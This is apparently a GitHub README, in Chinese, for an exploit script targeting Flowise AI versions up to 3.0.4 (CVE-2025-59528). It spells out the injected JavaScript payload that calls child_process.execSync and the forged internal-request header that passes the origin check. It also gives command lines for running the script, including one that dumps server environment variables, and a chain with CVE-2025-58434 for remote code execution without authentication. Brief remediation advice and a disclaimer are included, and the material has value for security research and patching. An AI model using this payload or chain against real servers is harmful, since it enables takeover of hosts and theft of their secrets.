r3nsi15/Flowise-RCE-CVE-2025-59528

GitHub: r3nsi15/Flowise-RCE-CVE-2025-59528

描述 CVE-2025-59528 漏洞利用脚本,实现对 Flowise AI 的认证远程代码执行与命令执行验证。

Stars: 0 | Forks: 0

# CVE-2025-59528 — Flowise AI 认证远程代码执行(RCE) ## 概述 **CVE ID:** CVE-2025-59528 **受影响软件:** Flowise AI **受影响版本:** <= 3.0.4 **修复版本:** 3.0.5 及更高版本 **严重程度:** 危急 **作者:** r3nsi15 **日期:** 2025 ## 描述 Flowise AI 3.0.4 及更早版本允许经过身份验证的用户通过向 `/api/v1/node-load-method/customMCP` 端点发送精心制作的 JavaScript 载荷,在主机服务器上实现 **远程代码执行(RCE)**。 `customMCP` 节点的加载方法会接受用户控制的输入,并在服务器端作为 JavaScript 进行评估,且缺乏充分的清理或沙箱保护。通过注入利用 Node.js 的 `child_process.execSync` 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。 该端点还要求存在 `x-request-from: internal` 标头。 ## 受影响端点 | 端点 | 方法 | 需要认证 | 用途 | |---|---|---|---| | `/api/v1/auth/login` | POST | 否 | 身份验证并获取会话 | | `/api/v1/node-load-method/customMCP` | POST | 是(会话 Cookie) | 易受攻击的节点加载方法端点 | ## 概念验证 **文件:** `CVE-2025-59528_POC.py` ### 要求 - Python 3.x - `requests` 库 - 目标 Flowise 实例上任意用户账户的有效凭据 ``` pip install requests ``` ### 用法 ``` python3 CVE-2025-59528_POC.py -e -i -p -c ``` ### 参数 | 标志 | 长形式 | 必需 | 描述 | |---|---|---|---| | `-e` | `--email` | 是 | 已认证用户的电子邮件地址 | | `-i` | `--url` | 是 | Flowise 实例的基础 URL | | `-p` | `--password` | 是 | 已认证用户的密码 | | `-c` | `--cmd` | 是 | 在服务器上执行的 OS 命令 | ### 示例 **验证代码执行:** ``` python3 CVE-2025-59528_POC.py -e user@example.com -i https://flowise.example.com -p MyP@ss -c "id" ``` **获取服务器环境变量:** ``` python3 CVE-2025-59528_POC.py -e user@example.com -i https://flowise.example.com -p MyP@ss -c "env" ``` ### 预期输出 ``` [+] Logged in [+] Exploit sent [+] Status: 200 ``` ## 载荷分析 该漏洞利用将以下 JavaScript 表达式注入到 `mcpServerConfig` 字段中: ``` ({x:(function(){ const cp = process.mainModule.require('child_process'); cp.execSync(''); return 1; })()}) ``` - `process.mainModule.require('child_process')` — 加载 Node.js 内置的进程执行模块。 - `execSync('')` — 同步执行攻击者提供的操作系统命令。 - 整个表达式被包裹在对象字面量中,以确保其在服务器的 JavaScript 上下文中正确求值。 同时还会附加 `x-request-from: internal` 标头,以通过原本会阻止该调用的内部来源检查。 ## 根本原因 `customMCP` 端点将用户提供的输入直接传递到服务器端的 JavaScript 执行上下文中,且未进行清理或沙箱化。结合通过 `process.mainModule.require` 对 Node.js 核心模块(特别是 `child_process`)的无限制访问,这便形成了一个极易被利用的 RCE 向量。而 `x-request-from` 标头的检查并未提供任何有意义的安全边界,因为它未经验证。 ## 与 CVE-2025-58434 联动 这两个漏洞可以**联动**实现对 Flowise 实例(版本 **<= 3.0.4**)的无认证 RCE 攻击路径: 1. 使用 **CVE-2025-58434** 重置任意已知账户的密码(无需事先认证)。 2. 使用新设置的凭据登录。 3. 使用 **CVE-2025-59528** 在服务器上执行任意操作系统命令。 ## 修复建议 - **升级**至 Flowise AI **3.0.5 或更高版本**,该版本已移除或正确沙箱化了易受攻击的计算路径。 - 不要在服务器端将用户控制的字符串作为代码求值。 - 通过适当的沙箱(例如 `vm2`、隔离上下文或移除 `process.mainModule` 访问)限制对危险 Node.js 模块(`child_process`、`fs` 等)的访问。 - 通过服务器端机制验证并认证 `x-request-from` 标头,而不是简单的字符串检查。 - 对 Flowise 服务器进程应用最小权限原则。 ## 免责声明 本概念验证仅用于 **教育和授权的安全研究目的**。在未获得明确书面许可的情况下,将本脚本用于系统属于非法且不道德的行为。作者及贡献者不对滥用行为承担任何责任。
标签:API安全, Authenticated RCE, Burp Suite 替代, child_process, CISA项目, CVE-2025-59528, execSync, Flowise AI, GNU通用公共许可证, JavaScript注入, JSON输出, MITM代理, Node.js, PoC, RCE, Web安全, 代码执行, 修复建议, 内部接口, 命令执行, 攻击面, 暴力破解, 服务器端命令执行, 服务端注入, 未授权访问, 漏洞, 编程工具, 蓝队分析, 认证绕过, 请求头伪造, 远程代码执行, 逆向工具